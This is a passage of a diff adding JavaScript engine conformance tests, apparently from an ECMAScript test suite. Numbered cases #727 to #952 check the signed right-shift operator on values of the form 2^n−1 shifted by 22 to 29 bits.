+ $ERROR('#727: 4194303 >> 22 === 0. Actual: ' + (4194303 >> 22));
+}
+
+
+if (8388607 >> 22 !== 1) {
+ $ERROR('#728: 8388607 >> 22 === 1. Actual: ' + (8388607 >> 22));
+}
+
+
+if (16777215 >> 22 !== 3) {
+ $ERROR('#729: 16777215 >> 22 === 3. Actual: ' + (16777215 >> 22));
+}
+
+
+if (33554431 >> 22 !== 7) {
+ $ERROR('#730: 33554431 >> 22 === 7. Actual: ' + (33554431 >> 22));
+}
+
+
+if (67108863 >> 22 !== 15) {
+ $ERROR('#731: 67108863 >> 22 === 15. Actual: ' + (67108863 >> 22));
+}
+
+
+if (134217727 >> 22 !== 31) {
+ $ERROR('#732: 134217727 >> 22 === 31. Actual: ' + (134217727 >> 22));
+}
+
+
+if (268435455 >> 22 !== 63) {
+ $ERROR('#733: 268435455 >> 22 === 63. Actual: ' + (268435455 >> 22));
+}
+
+
+if (536870911 >> 22 !== 127) {
+ $ERROR('#734: 536870911 >> 22 === 127. Actual: ' + (536870911 >> 22));
+}
+
+
+if (1073741823 >> 22 !== 255) {
+ $ERROR('#735: 1073741823 >> 22 === 255. Actual: ' + (1073741823 >> 22));
+}
+
+
+if (2147483647 >> 22 !== 511) {
+ $ERROR('#736: 2147483647 >> 22 === 511. Actual: ' + (2147483647 >> 22));
+}
+
+
+if (0 >> 23 !== 0) {
+ $ERROR('#737: 0 >> 23 === 0. Actual: ' + (0 >> 23));
+}
+
+
+if (1 >> 23 !== 0) {
+ $ERROR('#738: 1 >> 23 === 0. Actual: ' + (1 >> 23));
+}
+
+
+if (3 >> 23 !== 0) {
+ $ERROR('#739: 3 >> 23 === 0. Actual: ' + (3 >> 23));
+}
+
+
+if (7 >> 23 !== 0) {
+ $ERROR('#740: 7 >> 23 === 0. Actual: ' + (7 >> 23));
+}
+
+
+if (15 >> 23 !== 0) {
+ $ERROR('#741: 15 >> 23 === 0. Actual: ' + (15 >> 23));
+}
+
+
+if (31 >> 23 !== 0) {
+ $ERROR('#742: 31 >> 23 === 0. Actual: ' + (31 >> 23));
+}
+
+
+if (63 >> 23 !== 0) {
+ $ERROR('#743: 63 >> 23 === 0. Actual: ' + (63 >> 23));
+}
+
+
+if (127 >> 23 !== 0) {
+ $ERROR('#744: 127 >> 23 === 0. Actual: ' + (127 >> 23));
+}
+
+
+if (255 >> 23 !== 0) {
+ $ERROR('#745: 255 >> 23 === 0. Actual: ' + (255 >> 23));
+}
+
+
+if (511 >> 23 !== 0) {
+ $ERROR('#746: 511 >> 23 === 0. Actual: ' + (511 >> 23));
+}
+
+
+if (1023 >> 23 !== 0) {
+ $ERROR('#747: 1023 >> 23 === 0. Actual: ' + (1023 >> 23));
+}
+
+
+if (2047 >> 23 !== 0) {
+ $ERROR('#748: 2047 >> 23 === 0. Actual: ' + (2047 >> 23));
+}
+
+
+if (4095 >> 23 !== 0) {
+ $ERROR('#749: 4095 >> 23 === 0. Actual: ' + (4095 >> 23));
+}
+
+
+if (8191 >> 23 !== 0) {
+ $ERROR('#750: 8191 >> 23 === 0. Actual: ' + (8191 >> 23));
+}
+
+
+if (16383 >> 23 !== 0) {
+ $ERROR('#751: 16383 >> 23 === 0. Actual: ' + (16383 >> 23));
+}
+
+
+if (32767 >> 23 !== 0) {
+ $ERROR('#752: 32767 >> 23 === 0. Actual: ' + (32767 >> 23));
+}
+
+
+if (65535 >> 23 !== 0) {
+ $ERROR('#753: 65535 >> 23 === 0. Actual: ' + (65535 >> 23));
+}
+
+
+if (131071 >> 23 !== 0) {
+ $ERROR('#754: 131071 >> 23 === 0. Actual: ' + (131071 >> 23));
+}
+
+
+if (262143 >> 23 !== 0) {
+ $ERROR('#755: 262143 >> 23 === 0. Actual: ' + (262143 >> 23));
+}
+
+
+if (524287 >> 23 !== 0) {
+ $ERROR('#756: 524287 >> 23 === 0. Actual: ' + (524287 >> 23));
+}
+
+
+if (1048575 >> 23 !== 0) {
+ $ERROR('#757: 1048575 >> 23 === 0. Actual: ' + (1048575 >> 23));
+}
+
+
+if (2097151 >> 23 !== 0) {
+ $ERROR('#758: 2097151 >> 23 === 0. Actual: ' + (2097151 >> 23));
+}
+
+
+if (4194303 >> 23 !== 0) {
+ $ERROR('#759: 4194303 >> 23 === 0. Actual: ' + (4194303 >> 23));
+}
+
+
+if (8388607 >> 23 !== 0) {
+ $ERROR('#760: 8388607 >> 23 === 0. Actual: ' + (8388607 >> 23));
+}
+
+
+if (16777215 >> 23 !== 1) {
+ $ERROR('#761: 16777215 >> 23 === 1. Actual: ' + (16777215 >> 23));
+}
+
+
+if (33554431 >> 23 !== 3) {
+ $ERROR('#762: 33554431 >> 23 === 3. Actual: ' + (33554431 >> 23));
+}
+
+
+if (67108863 >> 23 !== 7) {
+ $ERROR('#763: 67108863 >> 23 === 7. Actual: ' + (67108863 >> 23));
+}
+
+
+if (134217727 >> 23 !== 15) {
+ $ERROR('#764: 134217727 >> 23 === 15. Actual: ' + (134217727 >> 23));
+}
+
+
+if (268435455 >> 23 !== 31) {
+ $ERROR('#765: 268435455 >> 23 === 31. Actual: ' + (268435455 >> 23));
+}
+
+
+if (536870911 >> 23 !== 63) {
+ $ERROR('#766: 536870911 >> 23 === 63. Actual: ' + (536870911 >> 23));
+}
+
+
+if (1073741823 >> 23 !== 127) {
+ $ERROR('#767: 1073741823 >> 23 === 127. Actual: ' + (1073741823 >> 23));
+}
+
+
+if (2147483647 >> 23 !== 255) {
+ $ERROR('#768: 2147483647 >> 23 === 255. Actual: ' + (2147483647 >> 23));
+}
+
+
+if (0 >> 24 !== 0) {
+ $ERROR('#769: 0 >> 24 === 0. Actual: ' + (0 >> 24));
+}
+
+
+if (1 >> 24 !== 0) {
+ $ERROR('#770: 1 >> 24 === 0. Actual: ' + (1 >> 24));
+}
+
+
+if (3 >> 24 !== 0) {
+ $ERROR('#771: 3 >> 24 === 0. Actual: ' + (3 >> 24));
+}
+
+
+if (7 >> 24 !== 0) {
+ $ERROR('#772: 7 >> 24 === 0. Actual: ' + (7 >> 24));
+}
+
+
+if (15 >> 24 !== 0) {
+ $ERROR('#773: 15 >> 24 === 0. Actual: ' + (15 >> 24));
+}
+
+
+if (31 >> 24 !== 0) {
+ $ERROR('#774: 31 >> 24 === 0. Actual: ' + (31 >> 24));
+}
+
+
+if (63 >> 24 !== 0) {
+ $ERROR('#775: 63 >> 24 === 0. Actual: ' + (63 >> 24));
+}
+
+
+if (127 >> 24 !== 0) {
+ $ERROR('#776: 127 >> 24 === 0. Actual: ' + (127 >> 24));
+}
+
+
+if (255 >> 24 !== 0) {
+ $ERROR('#777: 255 >> 24 === 0. Actual: ' + (255 >> 24));
+}
+
+
+if (511 >> 24 !== 0) {
+ $ERROR('#778: 511 >> 24 === 0. Actual: ' + (511 >> 24));
+}
+
+
+if (1023 >> 24 !== 0) {
+ $ERROR('#779: 1023 >> 24 === 0. Actual: ' + (1023 >> 24));
+}
+
+
+if (2047 >> 24 !== 0) {
+ $ERROR('#780: 2047 >> 24 === 0. Actual: ' + (2047 >> 24));
+}
+
+
+if (4095 >> 24 !== 0) {
+ $ERROR('#781: 4095 >> 24 === 0. Actual: ' + (4095 >> 24));
+}
+
+
+if (8191 >> 24 !== 0) {
+ $ERROR('#782: 8191 >> 24 === 0. Actual: ' + (8191 >> 24));
+}
+
+
+if (16383 >> 24 !== 0) {
+ $ERROR('#783: 16383 >> 24 === 0. Actual: ' + (16383 >> 24));
+}
+
+
+if (32767 >> 24 !== 0) {
+ $ERROR('#784: 32767 >> 24 === 0. Actual: ' + (32767 >> 24));
+}
+
+
+if (65535 >> 24 !== 0) {
+ $ERROR('#785: 65535 >> 24 === 0. Actual: ' + (65535 >> 24));
+}
+
+
+if (131071 >> 24 !== 0) {
+ $ERROR('#786: 131071 >> 24 === 0. Actual: ' + (131071 >> 24));
+}
+
+
+if (262143 >> 24 !== 0) {
+ $ERROR('#787: 262143 >> 24 === 0. Actual: ' + (262143 >> 24));
+}
+
+
+if (524287 >> 24 !== 0) {
+ $ERROR('#788: 524287 >> 24 === 0. Actual: ' + (524287 >> 24));
+}
+
+
+if (1048575 >> 24 !== 0) {
+ $ERROR('#789: 1048575 >> 24 === 0. Actual: ' + (1048575 >> 24));
+}
+
+
+if (2097151 >> 24 !== 0) {
+ $ERROR('#790: 2097151 >> 24 === 0. Actual: ' + (2097151 >> 24));
+}
+
+
+if (4194303 >> 24 !== 0) {
+ $ERROR('#791: 4194303 >> 24 === 0. Actual: ' + (4194303 >> 24));
+}
+
+
+if (8388607 >> 24 !== 0) {
+ $ERROR('#792: 8388607 >> 24 === 0. Actual: ' + (8388607 >> 24));
+}
+
+
+if (16777215 >> 24 !== 0) {
+ $ERROR('#793: 16777215 >> 24 === 0. Actual: ' + (16777215 >> 24));
+}
+
+
+if (33554431 >> 24 !== 1) {
+ $ERROR('#794: 33554431 >> 24 === 1. Actual: ' + (33554431 >> 24));
+}
+
+
+if (67108863 >> 24 !== 3) {
+ $ERROR('#795: 67108863 >> 24 === 3. Actual: ' + (67108863 >> 24));
+}
+
+
+if (134217727 >> 24 !== 7) {
+ $ERROR('#796: 134217727 >> 24 === 7. Actual: ' + (134217727 >> 24));
+}
+
+
+if (268435455 >> 24 !== 15) {
+ $ERROR('#797: 268435455 >> 24 === 15. Actual: ' + (268435455 >> 24));
+}
+
+
+if (536870911 >> 24 !== 31) {
+ $ERROR('#798: 536870911 >> 24 === 31. Actual: ' + (536870911 >> 24));
+}
+
+
+if (1073741823 >> 24 !== 63) {
+ $ERROR('#799: 1073741823 >> 24 === 63. Actual: ' + (1073741823 >> 24));
+}
+
+
+if (2147483647 >> 24 !== 127) {
+ $ERROR('#800: 2147483647 >> 24 === 127. Actual: ' + (2147483647 >> 24));
+}
+
+
+if (0 >> 25 !== 0) {
+ $ERROR('#801: 0 >> 25 === 0. Actual: ' + (0 >> 25));
+}
+
+
+if (1 >> 25 !== 0) {
+ $ERROR('#802: 1 >> 25 === 0. Actual: ' + (1 >> 25));
+}
+
+
+if (3 >> 25 !== 0) {
+ $ERROR('#803: 3 >> 25 === 0. Actual: ' + (3 >> 25));
+}
+
+
+if (7 >> 25 !== 0) {
+ $ERROR('#804: 7 >> 25 === 0. Actual: ' + (7 >> 25));
+}
+
+
+if (15 >> 25 !== 0) {
+ $ERROR('#805: 15 >> 25 === 0. Actual: ' + (15 >> 25));
+}
+
+
+if (31 >> 25 !== 0) {
+ $ERROR('#806: 31 >> 25 === 0. Actual: ' + (31 >> 25));
+}
+
+
+if (63 >> 25 !== 0) {
+ $ERROR('#807: 63 >> 25 === 0. Actual: ' + (63 >> 25));
+}
+
+
+if (127 >> 25 !== 0) {
+ $ERROR('#808: 127 >> 25 === 0. Actual: ' + (127 >> 25));
+}
+
+
+if (255 >> 25 !== 0) {
+ $ERROR('#809: 255 >> 25 === 0. Actual: ' + (255 >> 25));
+}
+
+
+if (511 >> 25 !== 0) {
+ $ERROR('#810: 511 >> 25 === 0. Actual: ' + (511 >> 25));
+}
+
+
+if (1023 >> 25 !== 0) {
+ $ERROR('#811: 1023 >> 25 === 0. Actual: ' + (1023 >> 25));
+}
+
+
+if (2047 >> 25 !== 0) {
+ $ERROR('#812: 2047 >> 25 === 0. Actual: ' + (2047 >> 25));
+}
+
+
+if (4095 >> 25 !== 0) {
+ $ERROR('#813: 4095 >> 25 === 0. Actual: ' + (4095 >> 25));
+}
+
+
+if (8191 >> 25 !== 0) {
+ $ERROR('#814: 8191 >> 25 === 0. Actual: ' + (8191 >> 25));
+}
+
+
+if (16383 >> 25 !== 0) {
+ $ERROR('#815: 16383 >> 25 === 0. Actual: ' + (16383 >> 25));
+}
+
+
+if (32767 >> 25 !== 0) {
+ $ERROR('#816: 32767 >> 25 === 0. Actual: ' + (32767 >> 25));
+}
+
+
+if (65535 >> 25 !== 0) {
+ $ERROR('#817: 65535 >> 25 === 0. Actual: ' + (65535 >> 25));
+}
+
+
+if (131071 >> 25 !== 0) {
+ $ERROR('#818: 131071 >> 25 === 0. Actual: ' + (131071 >> 25));
+}
+
+
+if (262143 >> 25 !== 0) {
+ $ERROR('#819: 262143 >> 25 === 0. Actual: ' + (262143 >> 25));
+}
+
+
+if (524287 >> 25 !== 0) {
+ $ERROR('#820: 524287 >> 25 === 0. Actual: ' + (524287 >> 25));
+}
+
+
+if (1048575 >> 25 !== 0) {
+ $ERROR('#821: 1048575 >> 25 === 0. Actual: ' + (1048575 >> 25));
+}
+
+
+if (2097151 >> 25 !== 0) {
+ $ERROR('#822: 2097151 >> 25 === 0. Actual: ' + (2097151 >> 25));
+}
+
+
+if (4194303 >> 25 !== 0) {
+ $ERROR('#823: 4194303 >> 25 === 0. Actual: ' + (4194303 >> 25));
+}
+
+
+if (8388607 >> 25 !== 0) {
+ $ERROR('#824: 8388607 >> 25 === 0. Actual: ' + (8388607 >> 25));
+}
+
+
+if (16777215 >> 25 !== 0) {
+ $ERROR('#825: 16777215 >> 25 === 0. Actual: ' + (16777215 >> 25));
+}
+
+
+if (33554431 >> 25 !== 0) {
+ $ERROR('#826: 33554431 >> 25 === 0. Actual: ' + (33554431 >> 25));
+}
+
+
+if (67108863 >> 25 !== 1) {
+ $ERROR('#827: 67108863 >> 25 === 1. Actual: ' + (67108863 >> 25));
+}
+
+
+if (134217727 >> 25 !== 3) {
+ $ERROR('#828: 134217727 >> 25 === 3. Actual: ' + (134217727 >> 25));
+}
+
+
+if (268435455 >> 25 !== 7) {
+ $ERROR('#829: 268435455 >> 25 === 7. Actual: ' + (268435455 >> 25));
+}
+
+
+if (536870911 >> 25 !== 15) {
+ $ERROR('#830: 536870911 >> 25 === 15. Actual: ' + (536870911 >> 25));
+}
+
+
+if (1073741823 >> 25 !== 31) {
+ $ERROR('#831: 1073741823 >> 25 === 31. Actual: ' + (1073741823 >> 25));
+}
+
+
+if (2147483647 >> 25 !== 63) {
+ $ERROR('#832: 2147483647 >> 25 === 63. Actual: ' + (2147483647 >> 25));
+}
+
+
+if (0 >> 26 !== 0) {
+ $ERROR('#833: 0 >> 26 === 0. Actual: ' + (0 >> 26));
+}
+
+
+if (1 >> 26 !== 0) {
+ $ERROR('#834: 1 >> 26 === 0. Actual: ' + (1 >> 26));
+}
+
+
+if (3 >> 26 !== 0) {
+ $ERROR('#835: 3 >> 26 === 0. Actual: ' + (3 >> 26));
+}
+
+
+if (7 >> 26 !== 0) {
+ $ERROR('#836: 7 >> 26 === 0. Actual: ' + (7 >> 26));
+}
+
+
+if (15 >> 26 !== 0) {
+ $ERROR('#837: 15 >> 26 === 0. Actual: ' + (15 >> 26));
+}
+
+
+if (31 >> 26 !== 0) {
+ $ERROR('#838: 31 >> 26 === 0. Actual: ' + (31 >> 26));
+}
+
+
+if (63 >> 26 !== 0) {
+ $ERROR('#839: 63 >> 26 === 0. Actual: ' + (63 >> 26));
+}
+
+
+if (127 >> 26 !== 0) {
+ $ERROR('#840: 127 >> 26 === 0. Actual: ' + (127 >> 26));
+}
+
+
+if (255 >> 26 !== 0) {
+ $ERROR('#841: 255 >> 26 === 0. Actual: ' + (255 >> 26));
+}
+
+
+if (511 >> 26 !== 0) {
+ $ERROR('#842: 511 >> 26 === 0. Actual: ' + (511 >> 26));
+}
+
+
+if (1023 >> 26 !== 0) {
+ $ERROR('#843: 1023 >> 26 === 0. Actual: ' + (1023 >> 26));
+}
+
+
+if (2047 >> 26 !== 0) {
+ $ERROR('#844: 2047 >> 26 === 0. Actual: ' + (2047 >> 26));
+}
+
+
+if (4095 >> 26 !== 0) {
+ $ERROR('#845: 4095 >> 26 === 0. Actual: ' + (4095 >> 26));
+}
+
+
+if (8191 >> 26 !== 0) {
+ $ERROR('#846: 8191 >> 26 === 0. Actual: ' + (8191 >> 26));
+}
+
+
+if (16383 >> 26 !== 0) {
+ $ERROR('#847: 16383 >> 26 === 0. Actual: ' + (16383 >> 26));
+}
+
+
+if (32767 >> 26 !== 0) {
+ $ERROR('#848: 32767 >> 26 === 0. Actual: ' + (32767 >> 26));
+}
+
+
+if (65535 >> 26 !== 0) {
+ $ERROR('#849: 65535 >> 26 === 0. Actual: ' + (65535 >> 26));
+}
+
+
+if (131071 >> 26 !== 0) {
+ $ERROR('#850: 131071 >> 26 === 0. Actual: ' + (131071 >> 26));
+}
+
+
+if (262143 >> 26 !== 0) {
+ $ERROR('#851: 262143 >> 26 === 0. Actual: ' + (262143 >> 26));
+}
+
+
+if (524287 >> 26 !== 0) {
+ $ERROR('#852: 524287 >> 26 === 0. Actual: ' + (524287 >> 26));
+}
+
+
+if (1048575 >> 26 !== 0) {
+ $ERROR('#853: 1048575 >> 26 === 0. Actual: ' + (1048575 >> 26));
+}
+
+
+if (2097151 >> 26 !== 0) {
+ $ERROR('#854: 2097151 >> 26 === 0. Actual: ' + (2097151 >> 26));
+}
+
+
+if (4194303 >> 26 !== 0) {
+ $ERROR('#855: 4194303 >> 26 === 0. Actual: ' + (4194303 >> 26));
+}
+
+
+if (8388607 >> 26 !== 0) {
+ $ERROR('#856: 8388607 >> 26 === 0. Actual: ' + (8388607 >> 26));
+}
+
+
+if (16777215 >> 26 !== 0) {
+ $ERROR('#857: 16777215 >> 26 === 0. Actual: ' + (16777215 >> 26));
+}
+
+
+if (33554431 >> 26 !== 0) {
+ $ERROR('#858: 33554431 >> 26 === 0. Actual: ' + (33554431 >> 26));
+}
+
+
+if (67108863 >> 26 !== 0) {
+ $ERROR('#859: 67108863 >> 26 === 0. Actual: ' + (67108863 >> 26));
+}
+
+
+if (134217727 >> 26 !== 1) {
+ $ERROR('#860: 134217727 >> 26 === 1. Actual: ' + (134217727 >> 26));
+}
+
+
+if (268435455 >> 26 !== 3) {
+ $ERROR('#861: 268435455 >> 26 === 3. Actual: ' + (268435455 >> 26));
+}
+
+
+if (536870911 >> 26 !== 7) {
+ $ERROR('#862: 536870911 >> 26 === 7. Actual: ' + (536870911 >> 26));
+}
+
+
+if (1073741823 >> 26 !== 15) {
+ $ERROR('#863: 1073741823 >> 26 === 15. Actual: ' + (1073741823 >> 26));
+}
+
+
+if (2147483647 >> 26 !== 31) {
+ $ERROR('#864: 2147483647 >> 26 === 31. Actual: ' + (2147483647 >> 26));
+}
+
+
+if (0 >> 27 !== 0) {
+ $ERROR('#865: 0 >> 27 === 0. Actual: ' + (0 >> 27));
+}
+
+
+if (1 >> 27 !== 0) {
+ $ERROR('#866: 1 >> 27 === 0. Actual: ' + (1 >> 27));
+}
+
+
+if (3 >> 27 !== 0) {
+ $ERROR('#867: 3 >> 27 === 0. Actual: ' + (3 >> 27));
+}
+
+
+if (7 >> 27 !== 0) {
+ $ERROR('#868: 7 >> 27 === 0. Actual: ' + (7 >> 27));
+}
+
+
+if (15 >> 27 !== 0) {
+ $ERROR('#869: 15 >> 27 === 0. Actual: ' + (15 >> 27));
+}
+
+
+if (31 >> 27 !== 0) {
+ $ERROR('#870: 31 >> 27 === 0. Actual: ' + (31 >> 27));
+}
+
+
+if (63 >> 27 !== 0) {
+ $ERROR('#871: 63 >> 27 === 0. Actual: ' + (63 >> 27));
+}
+
+
+if (127 >> 27 !== 0) {
+ $ERROR('#872: 127 >> 27 === 0. Actual: ' + (127 >> 27));
+}
+
+
+if (255 >> 27 !== 0) {
+ $ERROR('#873: 255 >> 27 === 0. Actual: ' + (255 >> 27));
+}
+
+
+if (511 >> 27 !== 0) {
+ $ERROR('#874: 511 >> 27 === 0. Actual: ' + (511 >> 27));
+}
+
+
+if (1023 >> 27 !== 0) {
+ $ERROR('#875: 1023 >> 27 === 0. Actual: ' + (1023 >> 27));
+}
+
+
+if (2047 >> 27 !== 0) {
+ $ERROR('#876: 2047 >> 27 === 0. Actual: ' + (2047 >> 27));
+}
+
+
+if (4095 >> 27 !== 0) {
+ $ERROR('#877: 4095 >> 27 === 0. Actual: ' + (4095 >> 27));
+}
+
+
+if (8191 >> 27 !== 0) {
+ $ERROR('#878: 8191 >> 27 === 0. Actual: ' + (8191 >> 27));
+}
+
+
+if (16383 >> 27 !== 0) {
+ $ERROR('#879: 16383 >> 27 === 0. Actual: ' + (16383 >> 27));
+}
+
+
+if (32767 >> 27 !== 0) {
+ $ERROR('#880: 32767 >> 27 === 0. Actual: ' + (32767 >> 27));
+}
+
+
+if (65535 >> 27 !== 0) {
+ $ERROR('#881: 65535 >> 27 === 0. Actual: ' + (65535 >> 27));
+}
+
+
+if (131071 >> 27 !== 0) {
+ $ERROR('#882: 131071 >> 27 === 0. Actual: ' + (131071 >> 27));
+}
+
+
+if (262143 >> 27 !== 0) {
+ $ERROR('#883: 262143 >> 27 === 0. Actual: ' + (262143 >> 27));
+}
+
+
+if (524287 >> 27 !== 0) {
+ $ERROR('#884: 524287 >> 27 === 0. Actual: ' + (524287 >> 27));
+}
+
+
+if (1048575 >> 27 !== 0) {
+ $ERROR('#885: 1048575 >> 27 === 0. Actual: ' + (1048575 >> 27));
+}
+
+
+if (2097151 >> 27 !== 0) {
+ $ERROR('#886: 2097151 >> 27 === 0. Actual: ' + (2097151 >> 27));
+}
+
+
+if (4194303 >> 27 !== 0) {
+ $ERROR('#887: 4194303 >> 27 === 0. Actual: ' + (4194303 >> 27));
+}
+
+
+if (8388607 >> 27 !== 0) {
+ $ERROR('#888: 8388607 >> 27 === 0. Actual: ' + (8388607 >> 27));
+}
+
+
+if (16777215 >> 27 !== 0) {
+ $ERROR('#889: 16777215 >> 27 === 0. Actual: ' + (16777215 >> 27));
+}
+
+
+if (33554431 >> 27 !== 0) {
+ $ERROR('#890: 33554431 >> 27 === 0. Actual: ' + (33554431 >> 27));
+}
+
+
+if (67108863 >> 27 !== 0) {
+ $ERROR('#891: 67108863 >> 27 === 0. Actual: ' + (67108863 >> 27));
+}
+
+
+if (134217727 >> 27 !== 0) {
+ $ERROR('#892: 134217727 >> 27 === 0. Actual: ' + (134217727 >> 27));
+}
+
+
+if (268435455 >> 27 !== 1) {
+ $ERROR('#893: 268435455 >> 27 === 1. Actual: ' + (268435455 >> 27));
+}
+
+
+if (536870911 >> 27 !== 3) {
+ $ERROR('#894: 536870911 >> 27 === 3. Actual: ' + (536870911 >> 27));
+}
+
+
+if (1073741823 >> 27 !== 7) {
+ $ERROR('#895: 1073741823 >> 27 === 7. Actual: ' + (1073741823 >> 27));
+}
+
+
+if (2147483647 >> 27 !== 15) {
+ $ERROR('#896: 2147483647 >> 27 === 15. Actual: ' + (2147483647 >> 27));
+}
+
+
+if (0 >> 28 !== 0) {
+ $ERROR('#897: 0 >> 28 === 0. Actual: ' + (0 >> 28));
+}
+
+
+if (1 >> 28 !== 0) {
+ $ERROR('#898: 1 >> 28 === 0. Actual: ' + (1 >> 28));
+}
+
+
+if (3 >> 28 !== 0) {
+ $ERROR('#899: 3 >> 28 === 0. Actual: ' + (3 >> 28));
+}
+
+
+if (7 >> 28 !== 0) {
+ $ERROR('#900: 7 >> 28 === 0. Actual: ' + (7 >> 28));
+}
+
+
+if (15 >> 28 !== 0) {
+ $ERROR('#901: 15 >> 28 === 0. Actual: ' + (15 >> 28));
+}
+
+
+if (31 >> 28 !== 0) {
+ $ERROR('#902: 31 >> 28 === 0. Actual: ' + (31 >> 28));
+}
+
+
+if (63 >> 28 !== 0) {
+ $ERROR('#903: 63 >> 28 === 0. Actual: ' + (63 >> 28));
+}
+
+
+if (127 >> 28 !== 0) {
+ $ERROR('#904: 127 >> 28 === 0. Actual: ' + (127 >> 28));
+}
+
+
+if (255 >> 28 !== 0) {
+ $ERROR('#905: 255 >> 28 === 0. Actual: ' + (255 >> 28));
+}
+
+
+if (511 >> 28 !== 0) {
+ $ERROR('#906: 511 >> 28 === 0. Actual: ' + (511 >> 28));
+}
+
+
+if (1023 >> 28 !== 0) {
+ $ERROR('#907: 1023 >> 28 === 0. Actual: ' + (1023 >> 28));
+}
+
+
+if (2047 >> 28 !== 0) {
+ $ERROR('#908: 2047 >> 28 === 0. Actual: ' + (2047 >> 28));
+}
+
+
+if (4095 >> 28 !== 0) {
+ $ERROR('#909: 4095 >> 28 === 0. Actual: ' + (4095 >> 28));
+}
+
+
+if (8191 >> 28 !== 0) {
+ $ERROR('#910: 8191 >> 28 === 0. Actual: ' + (8191 >> 28));
+}
+
+
+if (16383 >> 28 !== 0) {
+ $ERROR('#911: 16383 >> 28 === 0. Actual: ' + (16383 >> 28));
+}
+
+
+if (32767 >> 28 !== 0) {
+ $ERROR('#912: 32767 >> 28 === 0. Actual: ' + (32767 >> 28));
+}
+
+
+if (65535 >> 28 !== 0) {
+ $ERROR('#913: 65535 >> 28 === 0. Actual: ' + (65535 >> 28));
+}
+
+
+if (131071 >> 28 !== 0) {
+ $ERROR('#914: 131071 >> 28 === 0. Actual: ' + (131071 >> 28));
+}
+
+
+if (262143 >> 28 !== 0) {
+ $ERROR('#915: 262143 >> 28 === 0. Actual: ' + (262143 >> 28));
+}
+
+
+if (524287 >> 28 !== 0) {
+ $ERROR('#916: 524287 >> 28 === 0. Actual: ' + (524287 >> 28));
+}
+
+
+if (1048575 >> 28 !== 0) {
+ $ERROR('#917: 1048575 >> 28 === 0. Actual: ' + (1048575 >> 28));
+}
+
+
+if (2097151 >> 28 !== 0) {
+ $ERROR('#918: 2097151 >> 28 === 0. Actual: ' + (2097151 >> 28));
+}
+
+
+if (4194303 >> 28 !== 0) {
+ $ERROR('#919: 4194303 >> 28 === 0. Actual: ' + (4194303 >> 28));
+}
+
+
+if (8388607 >> 28 !== 0) {
+ $ERROR('#920: 8388607 >> 28 === 0. Actual: ' + (8388607 >> 28));
+}
+
+
+if (16777215 >> 28 !== 0) {
+ $ERROR('#921: 16777215 >> 28 === 0. Actual: ' + (16777215 >> 28));
+}
+
+
+if (33554431 >> 28 !== 0) {
+ $ERROR('#922: 33554431 >> 28 === 0. Actual: ' + (33554431 >> 28));
+}
+
+
+if (67108863 >> 28 !== 0) {
+ $ERROR('#923: 67108863 >> 28 === 0. Actual: ' + (67108863 >> 28));
+}
+
+
+if (134217727 >> 28 !== 0) {
+ $ERROR('#924: 134217727 >> 28 === 0. Actual: ' + (134217727 >> 28));
+}
+
+
+if (268435455 >> 28 !== 0) {
+ $ERROR('#925: 268435455 >> 28 === 0. Actual: ' + (268435455 >> 28));
+}
+
+
+if (536870911 >> 28 !== 1) {
+ $ERROR('#926: 536870911 >> 28 === 1. Actual: ' + (536870911 >> 28));
+}
+
+
+if (1073741823 >> 28 !== 3) {
+ $ERROR('#927: 1073741823 >> 28 === 3. Actual: ' + (1073741823 >> 28));
+}
+
+
+if (2147483647 >> 28 !== 7) {
+ $ERROR('#928: 2147483647 >> 28 === 7. Actual: ' + (2147483647 >> 28));
+}
+
+
+if (0 >> 29 !== 0) {
+ $ERROR('#929: 0 >> 29 === 0. Actual: ' + (0 >> 29));
+}
+
+
+if (1 >> 29 !== 0) {
+ $ERROR('#930: 1 >> 29 === 0. Actual: ' + (1 >> 29));
+}
+
+
+if (3 >> 29 !== 0) {
+ $ERROR('#931: 3 >> 29 === 0. Actual: ' + (3 >> 29));
+}
+
+
+if (7 >> 29 !== 0) {
+ $ERROR('#932: 7 >> 29 === 0. Actual: ' + (7 >> 29));
+}
+
+
+if (15 >> 29 !== 0) {
+ $ERROR('#933: 15 >> 29 === 0. Actual: ' + (15 >> 29));
+}
+
+
+if (31 >> 29 !== 0) {
+ $ERROR('#934: 31 >> 29 === 0. Actual: ' + (31 >> 29));
+}
+
+
+if (63 >> 29 !== 0) {
+ $ERROR('#935: 63 >> 29 === 0. Actual: ' + (63 >> 29));
+}
+
+
+if (127 >> 29 !== 0) {
+ $ERROR('#936: 127 >> 29 === 0. Actual: ' + (127 >> 29));
+}
+
+
+if (255 >> 29 !== 0) {
+ $ERROR('#937: 255 >> 29 === 0. Actual: ' + (255 >> 29));
+}
+
+
+if (511 >> 29 !== 0) {
+ $ERROR('#938: 511 >> 29 === 0. Actual: ' + (511 >> 29));
+}
+
+
+if (1023 >> 29 !== 0) {
+ $ERROR('#939: 1023 >> 29 === 0. Actual: ' + (1023 >> 29));
+}
+
+
+if (2047 >> 29 !== 0) {
+ $ERROR('#940: 2047 >> 29 === 0. Actual: ' + (2047 >> 29));
+}
+
+
+if (4095 >> 29 !== 0) {
+ $ERROR('#941: 4095 >> 29 === 0. Actual: ' + (4095 >> 29));
+}
+
+
+if (8191 >> 29 !== 0) {
+ $ERROR('#942: 8191 >> 29 === 0. Actual: ' + (8191 >> 29));
+}
+
+
+if (16383 >> 29 !== 0) {
+ $ERROR('#943: 16383 >> 29 === 0. Actual: ' + (16383 >> 29));
+}
+
+
+if (32767 >> 29 !== 0) {
+ $ERROR('#944: 32767 >> 29 === 0. Actual: ' + (32767 >> 29));
+}
+
+
+if (65535 >> 29 !== 0) {
+ $ERROR('#945: 65535 >> 29 === 0. Actual: ' + (65535 >> 29));
+}
+
+
+if (131071 >> 29 !== 0) {
+ $ERROR('#946: 131071 >> 29 === 0. Actual: ' + (131071 >> 29));
+}
+
+
+if (262143 >> 29 !== 0) {
+ $ERROR('#947: 262143 >> 29 === 0. Actual: ' + (262143 >> 29));
+}
+
+
+if (524287 >> 29 !== 0) {
+ $ERROR('#948: 524287 >> 29 === 0. Actual: ' + (524287 >> 29));
+}
+
+
+if (1048575 >> 29 !== 0) {
+ $ERROR('#949: 1048575 >> 29 === 0. Actual: ' + (1048575 >> 29));
+}
+
+
+if (2097151 >> 29 !== 0) {
+ $ERROR('#950: 2097151 >> 29 === 0. Actual: ' + (2097151 >> 29));
+}
+
+
+if (4194303 >> 29 !== 0) {
+ $ERROR('#951: 4194303 >> 29 === 0. Actual: ' + (4194303 >> 29));
+}
+
+
+if (8388607 >> 29 !== 0) {
+ $ERROR('#952: 8388607 >> 29 === 0. Actual: ' + (8388607 >> 29));
+}
+
+
